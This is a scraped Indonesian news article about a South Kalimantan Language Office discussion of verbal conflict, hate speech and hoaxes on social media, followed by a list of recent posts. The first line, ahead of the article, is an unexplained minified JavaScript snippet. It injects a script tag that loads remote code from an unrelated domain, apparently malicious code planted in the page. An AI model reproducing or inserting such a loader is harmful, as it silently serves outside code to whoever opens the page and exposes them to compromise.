(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pergeseran Lisan ke Tulis, Balai Bahasa Kalsel Gelar Diskusi Resolusi Konflik Kebahasaan


KANALKALIMANTAN.COM, AMUNTAI – Balai Bahasa Provinsi Kalimantan Selatan (Kalsel) menggelar Diskusi Kelompok Terpumpun (DKT) terkait resolusi konflik kebahasaan di masyarakat.

Kegiatan DKT diikuti peserta dari berbagai organisasi masyarakat, ASN, LSM dan awak media, di aula Agung, Sekretariat Daerah Kabupaten Hulu Sungai Utara (HSU), Selasa (27/4/2021).

DKT menghadirkan narasumber dari Dinas Komunikasi dan Informatika HSU, Polres HSU serta Balai Bahasa Provinsi Kalsel dibuka Asisten bidang Pemerintahan dan Kesra H Supomo.

Diskusi dilatarbelakangi kondisi saat ini adanya konflik-konflik sosial yang ada di masyarakat. Salah satunya, ditandai adanya kekerasan verbal dalam hal hubungan sosial di masyarakat khususnya di era digital.

Kepala Balai Bahasa Provinsi Kalsel Muhammad Luthfi Baihaqi mengatakan, bibit kekerasan verbal tumbuh dan kurang terkendali di media sosial, seperti banyak kasus penghinaan, fitnah, ujaran kebencian yang mengandung masalah antar suku, agama, ras dan antar golongan. Sehingga menimbulkan konflik sosial di masyarakat.

“Hal ini yang menjadi latar belakang dari kami Balai Bahasa Provinsi Kalsel sebagai unit pelaksana teknis dari badan pengembangan dan pembinaan bahasa kementerian pendidikan dan kebudayaan mengadakan DKT yang dilaksanakan di setiap kabupaten dan kota,” kata Luthfi.

Ia menyebutkan, tindakan melawan hukum tersebut juga menunjukan dampak negatif dari teknologi digital. Dimana hal ini membawa kehidupan masyarakat bergeser dari tradisi lisan ke tulis.

Pergeseran ini adanya indikasi temuan peningkatan di media sosial yang selama ini terjadi berupa konflik di masyarakat.

Maka dari itu, penanganan atau solusi terkait tentang kebahasaan itu, dilakukan secara komprehensif dengan melibatkan seluruh komponen masyarakat.

Luthfi Baihaqi menyebutkan diskusi bertujuan menumbuhkan kesadaran ke masyarakat terkait aturan dan etika menggunakan media sosial, memulihkan hubungan sosial masyarakat, mengupayakan iklim kondusif sinergis dalam kehidupan masyarakat, meningkatkan literasi masyarakat di media penyebaran informasi dan meningkatkan kerjasama sinergi antar penegak hukum dengan balai bahasa.

“Kita juga turut membahas peran pemerintah daerah dalam penanagan konflik, berita hoax, ujaran kebencian pencemaran nama baik atau konsekuensi bidang hukum, kesantunan berbahasa di media sosial. Dengan narasumber dari Diskominfo, pihak kepolisian dan dari Balai Bahasa sendiri,” imbuhnya.

Sementara, Asisten Pemerintahan dan Kesra H Supomo menilai perlunya masyarakat memahami atau memperkaya kosa kata bahasa Indonesia, sekaligus meningkatkan aturan dan etika penggunaan bahasa yang baik dan benar, sehingga tidak terjerat permasalahan hukum khususnya UU ITE.

Hal ini mengingat, kemajuan teknologi dan informasi yang telah memberikan kenyamanan dan kemudahan bagi masyarakat dalam menjalin komunikasi dan transaksi elektronik, namun di sisi lain juga berdampak negatif berupa kerugian, kerusakan apabila masyarakat tidak cerdas dan bijak dalam bermedia sosial.

Kemajuan teknologi juga memudahkan setiap orang membuat tulisan, yang dapat dipertanggungjawabkan dan tidak. Kemudian dengan mudah dipublikasikan dan menyebarkan ke media sosial. Tapi masyarakat masih ada yang belum menyadari bahwa yang mereka tulis atau publikasikan ke medsos pada dasarnya memberikan dampak baik bilamana ditulis dengan bijak, cerdas dan menggunakan tata bahasa yang benar.

“Namun sebaliknya, jika menulis dan bermedsos tanpa bijak dan menulis dengan kosa kata yang tidak baik benar atau menyebarkan hoax kebencian juga akan berdampak merugikan, bagi dirinya dan masyarakat serta bangsa,” kata Supomo.

Dirinya berpesan, perlunya meningkatkan kesadaran masyarakat dalam menggunakan medsos dengan baik, jangan gunakan untuk memberikan ujaran kebencian, hoax, SARA dan fitnah dan lainnya, bahkan masyarakat harus pintar dalam menerima informasi tersebut.(kanalkalimantan.com/dew)

 

Reporter : dew
Editor : kk

 

 


Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.